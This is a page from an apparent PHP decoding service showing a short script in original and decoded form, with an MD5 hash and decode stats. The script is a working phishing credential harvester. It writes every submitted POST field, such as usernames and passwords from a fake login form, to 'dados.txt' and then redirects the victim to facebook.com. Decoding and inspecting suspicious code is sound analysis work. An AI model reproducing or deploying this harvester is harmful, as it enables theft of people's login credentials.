Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php header ('location:http://www.facebook.com'); $handle=fopen("dados.txt","a"); for..

Decoded Output download

<?php 
header 
('location:http://www.facebook.com'); 
$handle=fopen("dados.txt","a"); 
foreach($_POST as $variable=>$value) 
{ 
fwrite($handle,$variable); 
fwrite($handle,"="); 
fwrite($handle,$value); 
fwrite($handle,"
"); 
} 
fwrite($handle,"
"); 
fclose($handle); 
exit; 
?>

Did this file decode correctly?

Original Code

<?php
header
('location:http://www.facebook.com');
$handle=fopen("dados.txt","a");
foreach($_POST as $variable=>$value)
{
fwrite($handle,$variable);
fwrite($handle,"=");
fwrite($handle,$value);
fwrite($handle,"\r\n");
}
fwrite($handle,"\r\n");
fclose($handle);
exit;
?>

Function Calls

header 1

Variables

None

Stats

MD5 6f88fdaed43a8317f85187b080dc6c02
Eval Count 0
Decode Time 106 ms